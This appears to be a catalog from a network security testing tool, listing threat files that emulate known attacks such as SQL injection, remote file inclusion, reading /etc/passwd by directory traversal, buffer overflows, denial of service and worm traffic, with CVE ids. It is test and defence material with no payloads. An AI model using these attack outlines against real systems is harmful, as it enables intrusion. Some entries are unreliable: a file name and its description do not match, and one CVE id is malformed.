Executive Description:	Symantec VERITAS NetBackup Volume Manager Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the Symantec VERITAS NetBackup products. The flaw is due to insufficient boundary protection in the processing of volume manager communications. An attacker may leverage this vulnerability to execute arbitrary code on the target host with System privileges. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2006-0989
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_ltgt_IPv6.xml
Executive Description:	Fuzz SMTP HELO verb with <> (IPv6 Version)
Detailed Description:	Fuzzes the SMTP HELO Parameter with <> from size of 0 to a size of 4096. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	sugarsuite_rfi_IPv6.xml
Executive Description:	Sugar Suite Open Source Multiple Remote and Local File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing the path for a local file to include in the returned page via the "theme" parameter for every installed script. SugarCRM is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2460
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RangingErrorCode_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RangingErrorCode.xml (IPv6 Version)
Detailed Description:	Fuzzes ErrorCode field by ranging through all possible values. OpCode is 05 (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	unclassified_nb_sqli_IPv6.xml
Executive Description:	Unclassified NewsBoard Forum.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Unclassified NewsBoard is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3686
OSVDB:	20951
Threat Package:	Standard
Threat File Name:	subscribe_me_trav_IPv6.xml
Executive Description:	Subscribe Me Pro Directory Traversal (IPv6 Version)

Detailed Description:	This threat sends a request for the file /etc/passwd through an unsanitized parameter to a web application. This web application will display the contents of the file to the attacker, allowing for further exploitation. Subscribe Me is a web application and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2952
OSVDB:	19380
Threat Package:	Standard
Threat File Name:	TSL20170201-01_Adobe_Digital_Editions_Epub_XXE_Information_Disclosure.xml
Executive Description:	Adobe Digital Editions Epub XXE Information Disclosure
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in the XML parsing component of Adobe Digital Editions. The vulnerability is due to a lack of validation on user-supplied input when parsing the XML in Epub documents. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted EPUB document with the affected application. Successful exploitation could allow the attacker to read files that the target user can access.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2016-7889
Threat File Name:	x86NOOPtcp.xml
Executive Description:	TCP x86 NOOP packet
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20120612-18_Microsoft_Internet_Explorer_Title_Element_Use_After_Free_IPV6.xml
Executive Description:	Microsoft Internet Explorer Title Element Use After Free(IPV6 Version)
Detailed Description:	A remote code execution vulnerability exists in Internet Explorer. The vulnerability is due to the use of an object after it has been deleted (use-after-free) when handling crafted scripts interacting with the Title element. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open either an HTML document with Internet Explorer. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2012-1877
OSVDB:	82867
Threat File Name:	phpFullannu_rfi.xml
Executive Description:	phpFullAnnu <= v5.1 (repmo) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.phpFullAnnu is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20150402-01_Apache_Qpid_Sequence_Set_Denial_of_Service.xml
Executive Description:	Apache Qpid Sequence Set Denial of Service.
Detailed Description:	A denial of service vulnerability exists in Apache Qpid. The vulnerability is due to an assertion failure while processing a sequence-set type field with the maximum possible range. A remote, unauthenticated attacker could exploit this vulnerability by sending any control or command assembly that requires a sequence-set type field with a maximum possible range to the QPID broker. Successful exploitation will lead to abnormal termination of the program resulting in a denial of service condition. Tester should set the variable \$destPort to 5672 before test.
Protocol Type:	AMQP
CVEID:	CVE-2015-0203
OSVDB:	117019
Threat File Name:	easychatserv_dos_IPv6.xml
Executive Description:	Easy Chat Server Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat will crash a vulnerable Easy Chat Server via long user name and password parameters. Easy Chat Server is a web application typically found listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	runcms_cmi.xml
Executive Description:	RunCMS Remote Code Execution Vulnerability
Detailed Description:	This threat sends a crafted POST payload containing PHP code that when retrieved using a remote file inclusion flaw allows arbitrary command execution. RunCMS is a web application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0658
Threat File Name:	bootpBufferOverflow.xml
Executive Description:	Malformed BOOTP Buffer Overflow
Detailed Description:	This attack is executed by sending a the Solaris DHCP server a malformed BOOTP packet. The EDHCP daemon will crash when receiving BOOTP packets which contain a non-null value for the client IP address. This will result in a denial of service for legitimate users requesting an IP address.
Protocol Type:	BOOTP
Threat Package:	Standard
Threat File Name:	tomcat_webdav_file_disclosure.xml
Executive Description:	Apache Tomcat (webdav) Remote File Disclosure Vulnerability
Detailed Description:	This threat leverages an absolute path traversal vulnerability in Apache Tomcat which allows reading of arbitrary files via a WebDAV write request with a SYSTEM tag, thus resulting in information disclosure. Apache Tomcat is a web server and typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5461
Threat Package:	Standard

Threat File Name:	FSC20071022-03_RealNetworks_RealPlayer_Playlist_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	RealNetworks RealPlayer Playlist Handling Buffer Overflow (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in the RealNetworks RealPlayer application. The vulnerability is due to a signedness error when handling playlist names. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-5601
Threat Package:	Standard
Threat File Name:	TSL20150519-06_Microsoft_Internet_Explorer_CTxtPtr_Memory_Access_Error_IPv6.xml
Executive Description:	Microsoft Internet Explorer CtxtPtr Memory Access Error IPv6 version.
Detailed Description:	An information disclosure vulnerability has been reported in Internet Explorer. The vulnerability is due to a read out of boundary when handling CtxtPtr::InsertRange objects. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, an attacker could disclosure the memory content of the current process which can be used to facilitate further attacks.
Protocol Type:	HTTP/HTTPS.IPV6
Threat File Name:	FSC20080630-16_OpenLDAP_ber_get_next_BER_Decoding_Denial_of_Service.xml
Executive Description:	OpenLDAP ber_get_next BER Decoding Denial of Service
Detailed Description:	There exists a denial of service vulnerability in OpenLDAP slapd. The flaw is due to a design error when decoding ASN.1 BER network messages. A remote unauthenticated attacker can trigger this vulnerability by sending a crafted ASN.1 BER-encoded message to the target server. Successful attack could allow for raising a denial of service condition to the affected service.
Protocol Type:	LDAP
CVEID:	CVE-2008-2952
Threat Package:	Standard
Threat File Name:	phpquiz_rfi_IPv6.xml
Executive Description:	PHPQuiz Index.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PHPQuiz is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	mxshop_idp_sqli_IPv6.xml
Executive Description:	MX Shop Pages Module 'idp' variable SQL Injection (IPv6 Version)
Detailed Description:	This threat sends a crafted URL containing an SQL query which is executed by the server with the servers permissions. MX Shop is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3004
OSVDB:	19611
Threat File Name:	TSL20160913-32_Microsoft_Windows_PDF_Library_CVE-2016-3370_Information_Disclosure.xml
Executive Description:	Microsoft Windows PDF Library CVE-2016-3370 Information Disclosure
Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Windows PDF library. The vulnerability is due to a flaw in the way that the Windows PDF Library handles objects in memory. A remote attacker could exploit this vulnerability by enticing a victim user to open a maliciously crafted PDF file. Successful exploitation would allow the attacker to gain sensitive information that may help in further attacks.
Protocol Type:	HTTP
CVEID:	CVE-2016-3370
Threat File Name:	TSL20150609-26_Adobe_Flash_Player_Shader_Parameter_Write_What_Where_IPv6.xml
Executive Description:	Adobe Flash Player Shader Parameter Write-What-Where(IPv6 version)
Detailed Description:	A write-what-where vulnerability has been reported in an Adobe Flash Player. The vulnerability is due to an issue with processing Shader objects.A remote attacker could exploit this vulnerability by enticing a user into opening a page with a malicious SWF embedded within. Successful exploitation could lead to arbitrary code execution under the security context of the user process.
Protocol Type:	HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,NFS,IPV6
CVEID:	CVE-2015-3105
Threat File Name:	fuzz-TFTP_WQO_NETASCII_formats.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WQO_NETASCII_formats.xml
Detailed Description:	Fuzzes Mode field by appending %s to netascii with ranging sizes. OpCode is WQO.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	c-arbre_rfi.xml
Executive Description:	C-Arbre <= 0.6PR7 (root_path) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. C-Arbre is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1721
Threat Package:	Standard
Threat File Name:	opera9_dos_IPv6.xml
Executive Description:	Opera Malicious HTML Processing Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a malicious piece of html which will cause Opera web browsers to crash. This can be used by a malicious attacker to force a user to lose all open webpages. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3199
Threat Package:	Standard
Threat File Name:	TSL20131112-17_Microsoft_Internet_Explorer_CAnchorElement_Use_After_Free_IPv6.xml

Executive Description:	Microsoft Internet Explorer CAnchorElement Use After Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way CAnchorElement objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-3871
OSVDB:	98199
Threat File Name:	FSC20080812-09_Microsoft_Internet_Explorer_HTTP_Response_Double_Free_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTTP Response Double Free Memory Corruption (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in the way Internet Explorer handles certain HTTP responses. The vulnerability is due to an insecure design in the Internet Explorer while accessing an object that has not been correctly initialized or that has been deleted. Remote unauthenticated attackers could exploit this vulnerability by persuading a target user to visit a website hosted by a web server that sends certain malicious error responses. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2256
Threat Package:	Standard
Threat File Name:	TSL20170517-04_Joomla!_com_fields_SQL_Injection.xml
Executive Description:	Joomla! com_fields SQL Injection
Detailed Description:	A SQL injection vulnerability has been reported in the Joomla! com_fields component. The vulnerability is due to insufficient validation of the list.fullordering parameter in the getListQuery() function. A remote, unauthenticated attacker could exploit this vulnerability by sending an HTTP request with a malicious SQL query to the target server. Successful exploitation could result in disclosure of sensitive information from the underlying database.
Protocol Type:	HTTP
CVEID:	CVE-2017-8917
Threat File Name:	bonk_IPv6.xml
Executive Description:	Fragment Reassembly: Bonk Attack (IPv6 Version)
Detailed Description:	This threat sends a UDP packet broken into two fragments. The advertised UDP header length is longer than the actual reassembled packet. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-1999-0258
OSVDB:	5730
Threat Package:	Standard
Threat File Name:	fuzz-IP_TotalLength.xml
Executive Description:	Fuzzer for Protocol:IP and Field:TotalLength
Detailed Description:	
Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	core_mailslot_dos.xml
Executive Description:	SMB PIPE Server Crash
Detailed Description:	This threat causes a reboot of a Windows XP machine by sending a malformed SMB request. This is a new flaw unpatched as of yet by microsoft, discovered by Core Security. SMB is a windows file sharing service and typically listens on port 445.
Protocol Type:	SMB
CVEID:	CVE-2006-3942
Threat Package:	Standard
Threat File Name:	persits_activex_bof_IPv6.xml
Executive Description:	Persits Software XUpload Control AddFolder() Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Persits Software XUpload AddFolder() ActiveX application, resulting in the overwritingof arbitrary files or code execution. This threat is delived via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-6530
Threat Package:	Standard
Threat File Name:	TSL20160829-05_Micro_Focus_GroupWise_Post_Office_Agent_Integer_Overflow.xml
Executive Description:	Micro Focus GroupWise Post Office Agent Integer Overflow
Detailed Description:	An integer overflow vulnerability leading to a heap-based buffer overflow has been reported in the Post Office Agent component of Micro Focus GroupWise. The vulnerability is due to insufficient validation of usernames and passwords submitted to the Post Office Agent. A remote attacker can exploit this vulnerability by sending a crafted HTTP request to the web interface or SOAP listener, or via the thick client. A successful attack could result in arbitrary code execution on the server in the security context of the SYSTEM or root user.
Protocol Type:	HTTP
CVEID:	CVE-2016-5762
Threat File Name:	nimda15.xml
Executive Description:	Nimda Request URL 15
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090407-04_MIT_Kerberos_ASN.1_asn1_decode_generaltime_Uninitialized_Pointer_Reference_IPv6.xml
Executive Description:	MIT Kerberos ASN.1 asn1_decode_generaltime Uninitialized Pointer Reference (IPv6 Version)

Detailed Description:	A memory corruption vulnerability exists in MIT Kerberos server. The vulnerability is due to the release of an uninitialized pointer in the ASN.1 decoder while decoding maliciously crafted data. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted RPC request to the kadmind daemon. In an attack aiming for denial of service, the Kerberos kadmind service will terminate abnormally as a result of an attack. The Kerberos administration functionality remains unavailable until the service is restarted. In a more sophisticated attack scenario, where the malicious user is successful in injecting and executing supplied code, the behaviour of the system is dependent on the nature of the injected code. Any code injected into the vulnerable component would execute in the security context of the service process, which may be system/root level. (IPv6 Version)
Protocol Type:	KRB5/IPv6
CVEID:	CVE-2009-0846
Threat Package:	Standard
Threat File Name:	TSL20080812-12_Microsoft_Excel_FORMAT_Record_Array_Index_Memory_Corruption.xml
Executive Description:	Mozilla Firefox document.write And DOM Insertions Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Mozilla Firefox. The vulnerability is due to a buffer overflow while executing specially crafted JavaScript call document.write() combined with DOM insertions. An attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted web site
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3765
OSVDB:	68905
Threat File Name:	TSL20170524-02_Samba_Writeable_Share_Insecure_Library_Loading.xml
Executive Description:	Samba Writeable Share Insecure Library Loading
Detailed Description:	An insecure library loading vulnerability has been discovered in Samba. The vulnerability is due to a lack of validation on the paths from which shared objects are loaded. A remote, authenticated attacker could exploit this vulnerability by uploading a shared library to a writeable share then connecting to the IPC\$ and opening it using an absolute path. A successful exploitation attempt could result in the execution of arbitrary code in the security context of root.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-7494
Threat File Name:	ipv6_frag_flood_IPv6.xml
Executive Description:	IPv6 Fragment Flood (IPv6 Version)
Detailed Description:	This threat sends off a series of IPv6 fragments all belonging to the same fragment ID. This can cause a large amount of CPU utilization in some IPv6 stacks. (IPv6 Version)
Protocol Type:	IPv6/IPv6
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_ReplicateInHTTPVersion_IPv6.xml
Executive Description:	Fuzz HTTP-Version with HTTP/11111.1 (IPv6 Version)
Detailed Description:	Replicates the number one in the HTTP-Version field by replicating the version number one between 0 and 1024 times. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20070914-10_Microsoft_Windows_MFC_Library_FileFind_Class_Heap_Overflow.xml
Executive Description:	Microsoft Windows MFC Library FileFind Class Heap Overflow
Detailed Description:	A buffer overflow vulnerability exists in the Microsoft Windows MFC shared library. The flaw resides in the FileFind Class. It could be exposed remotely via applications that use the FileFind class and pass user provided data to the affected function. Specifically, an attack vector is known through an ActiveX control provided by HP All-in-One and HP Photo & Imaging Gallery products. By persuading a target user to visit a malicious web site, an attacker can execute arbitrary code on the client side with the privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4916
Threat Package:	Standard
Threat File Name:	free_img_host_rfi.xml
Executive Description:	Free Image Hosting <= 2.0 (AD_BODY_TEMP) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. Free Image Hosting is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1715
Threat Package:	Standard
Threat File Name:	FSC20080923-28_Mozilla_Firefox_UTF-8_URL_Handling_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Mozilla Firefox UTF-8 URL Handling Stack Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Mozilla Firefox. The vulnerability is due to insufficient validation of URL containing UTF-8 encoded characters. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0016
Threat Package:	Standard
Threat File Name:	TSL20140421-09_CA_ERwin_Web_Portal_ProfileIconServlet_Information_Disclosure_IPv6.xml
Executive Description:	CA ERwin Web Portal ProfileIconServlet Information Disclosure (IPv6 Version)
Detailed Description:	Two information disclosure vulnerabilities exist in CA ERwin Web Portal. These vulnerabilities are due to lack of authentication and insufficient input validation in the ProfileIconServlet servlet when processing multiple HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage these vulnerabilities to view the contents of arbitrary files on a target system.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-2210
OSVDB:	106137
Threat File Name:	TSL20140710-06_Microsoft_Internet_Explorer_CVE-2014-1765_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1765 Use After Free

Detailed Description:	A use after free vulnerability exist in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-1765
OSVDB:	104583
Threat File Name:	ej3_topo_rcmi.xml
Executive Description:	EJ3 TOPO Class_DB_Text.PHP Multiple Remote PHP Script Code Injection Vulnerability
Detailed Description:	This threat sends a series of crafted urls containing php script to be placed on the affected server then executed on said server with a malicious get request. EJ3 TOPO is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20041124-01_Winamp_IN_CDDA_dll_Buffer_Overflow.xml
Executive Description:	Winamp IN_CDDA.dll Buffer Overflow
Detailed Description:	A vulnerability exists in the way Winamp parses playlist files and CD audio files. If a playlist file contains an overly long reference to a file in CD audio format (with a .cda extension) or a CD audio file has a long filename, a buffer overflow can occur in the component IN_CDDA.dll. An attacker can exploit this vulnerability to execute arbitrary code on a vulnerable system by enticing a user to open a specially crafted playlist file or CD audio file.
Protocol Type:	HTTP
CVEID:	CVE-2004-1119
Threat Package:	Standard
Threat File Name:	FSC20090407-04_MIT_Kerberos_ASN.1_asn1_decode_generaltime_Uninitialized_Pointer_Reference.xml
Executive Description:	MIT Kerberos ASN.1 asn1_decode_generaltime_Uninitialized Pointer Reference
Detailed Description:	A memory corruption vulnerability exists in MIT Kerberos server. The vulnerability is due to the release of an uninitialized pointer in the ASN.1 decoder while decoding maliciously crafted data. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted RPC request to the kadmind daemon. In an attack aiming for denial of service, the Kerberos kadmind service will terminate abnormally as a result of an attack. The Kerberos administration functionality remains unavailable until the service is restarted. In a more sophisticated attack scenario, where the malicious user is successful in injecting and executing supplied code, the behaviour of the system is dependent on the nature the injected code. Any code injected into the vulnerable component would execute in the security context of the service process, which may be system/root level.
Protocol Type:	Kerberos ASN.1
CVEID:	CVE-2009-0846
Threat Package:	Standard
Threat File Name:	ms06_040_IPv6.xml
Executive Description:	Microsoft Windows Server Service Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses sends malicious RPC requests to a computer running a vulnerable Microsoft Windows Server Service. Microsoft Windows Server Service typically listens on port 139. (IPv6 Version)
Protocol Type:	NETBIOS_SS/IPv6
CVEID:	CVE-2006-3439
Threat Package:	Standard
Threat File Name:	FSC20071204-14_VideoLAN_VLC_ActiveX_Control_Crafted_Parameter_Memory_Corruption_IPv6.xml
Executive Description:	VideoLAN VLC ActiveX Control Crafted Parameter Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in VideoLAN VLC media player ActiveX control. The flaw is due to recursive object release. A remote attacker may exploit this vulnerability by enticing the target user to visit a malicious web site. Successful attack may allow for arbitrary code being injected and executed with the privileges of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	IISXMLDEATH.xml
Executive Description:	Microsoft IIS PROPFIND MS04-030 Denial of Service
Detailed Description:	This threat causes Microsoft IIS server versions 5.0 and 6.0 to eat up a large amount of CPU and memory resources, causing a denial of service. This is caused by sending it a specifically crafted XML message which causes the parser to spend a long period of time dissecting it.
Protocol Type:	HTTP
CVEID:	CVE-2003-0718
OSVDB:	10688
Threat Package:	Standard
Threat File Name:	TSL20160119-26_Oracle_Application_Testing_Suite_DownloadServlet_scheduleReportName_Directory_Traversal.xml
Executive Description:	Oracle Application Testing Suite DownloadServlet scheduleReportName Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP requests to the "/otm/download" URI with parameter scheduleReportName. A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP
CVEID:	CVE-2016-0481
Threat File Name:	FSC20090609-15_Microsoft_Internet_Explorer_DOM_Object_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer DOM Object Handling Memory Corruption

Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to the way Internet Explorer accesses an object that has not been correctly initialized or has been deleted. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user. If such an attack is not executed successfully, the vulnerable application may terminate as a result of invalid memory access.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1532
Threat Package:	Standard
Threat File Name:	FSC20080205-02_Symantec_Backup_Exec_System_Recovery_Manager_Unauthorized_File_Upload.xml
Executive Description:	Symantec Backup Exec System Recovery Manager Unauthorized File Upload
Detailed Description:	A file upload vulnerability exists in the Symantec Backup Exec System Recovery Manager. The vulnerability is due to design weakness in the Tomcat service and can be exploited by remote attackers to upload arbitrary files into the system, potentially compromising the vulnerable system.
Protocol Type:	PRISM-HTTP
CVEID:	CVE-2008-0457
Threat Package:	Standard
Threat File Name:	ARPRestFlood.xml
Executive Description:	ARP Request Flood
Detailed Description:	This threat queries the target for a MAC address from multiple spoofed MAC addresses and IPs. Can cause an exhaustion of resources on the target computer while answering all of the ARP requests.
Protocol Type:	ARP
CVEID:	CVE-2001-1055
OSVDB:	14118
Threat Package:	Standard
Threat File Name:	santybl_IPv6.xml
Executive Description:	Santy.B phpBB worm (IPv6 Version)
Detailed Description:	This threat is a worm that attacks vulnerable versions of phpBB, a popular bulletin board software. This is one version of the attack. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070110-01_Apple_Computer_Finder_DMG_Volume_Name_Memory_Corruption.xml
Executive Description:	Apple Computer Finder DMG Volume Name Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in the Apple Finder product. The flaw is due to improper bounds checking on the length of the Volume name in the DMG disk images. An attacker may exploit this vulnerability by enticing a user to open a crafted DMG disk image. Exploitation of the vulnerability may result in injection and execution of arbitrary code within the security context of the target user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0197
Threat Package:	Standard
Threat File Name:	peerCast_bof_IPv6.xml
Executive Description:	PeerCast Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query to the peerCast server causing a buffer overflow condition. PeerCast typically listens on port 7144. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1148
Threat Package:	Standard
Threat File Name:	TSL20150313-08_Microsys_Promotic_PmBase64Decode_Buffer_Overflow_IPv6.xml
Executive Description:	Microsys Promotic PmBase64Decode Buffer Overflow IPv6 version.
Detailed Description:	A stack-based buffer overflow vulnerability exists in Microsys's Promotic. The vulnerability is due to an insufficient boundary check on user-supplied data in the PmBase64Decode function. A remote, unauthenticated attacker can exploit this vulnerability by supplying a maliciously crafted base64 encoded string to the vulnerable application. Successful exploitation could lead to injection and execution of arbitrary code in the security context of the target application.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-9205
Threat File Name:	linksys_apply_IPv6.xml
Executive Description:	Linksys HTTP POST Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a massive POST request to the CGI script /apply.cgi. This causes memory corruption on the target router, causing the service to crash or reboot. This attack can lead to remote code execution. The Linksys router's web management port typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2799
OSVDB:	19389
Threat Package:	Standard
Threat File Name:	lupper34.xml
Executive Description:	Lupper Worm 34
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20160902-01_Adobe_ColdFusion_OOXML_XXE_Information_Disclosure_IPv6.xml
Executive Description:	Adobe ColdFusion OOXML XXE Information Disclosure (IPv6 Version)

Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in the Office Open XML (OOXML) parsing component of Adobe ColdFusion. The vulnerability is due to a lack of validation on user-supplied input when parsing OOXML documents. A remote attacker could exploit this vulnerability by uploading a maliciously crafted OOXML document to the target server. Successful exploitation could allow the attacker to read arbitrary files from the target server.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-4264
Threat File Name:	TSL20160620-08_Micro_Focus_Rumba_WallData.Macro_PlayMacro_Memory_Corruption.xml
Executive Description:	Micro Focus Rumba WallData.Macro PlayMacro Memory Corruption
Detailed Description:	A buffer overflow vulnerability has been reported in the WallData.Macro ActiveX control of Micro Focus Rumba. The vulnerability is due to a lack of bounds checking on an argument passed into the PlayMacro() function. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious web page. Successful exploitation could lead to arbitrary code execution under the context of the user.
Protocol Type:	HTTP
Threat File Name:	fuzz-HTTP_AppendformatnToTRACE_IPv6.xml
Executive Description:	Fuzz HTTP TRACE appended by %n (IPv6 Version)
Detailed Description:	Fuzzes the Method field appending by %n (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	x86NOOPtcp3.xml
Executive Description:	TCP x86 NOOP Packet Variant 3
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20150414-31_Microsoft_Internet_Explorer_CVE_2015-1665_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-1665 Use After Free IPv6 version.
Detailed Description:	A use-after-free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS, IPv6
CVEID:	CVE-2015-1665
Threat File Name:	TSL20161108-07_Microsoft_Windows_Image_File_Handling_Information_Disclosure.xml
Executive Description:	Microsoft Windows Image File Handling Information Disclosure
Detailed Description:	TSL20161108-07
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-TSL20161108-07
Threat File Name:	TSL20150810-05_Mozilla_Firefox_Built_in_PDF_Viewer_Same-Origin_Policy_Bypass.xml
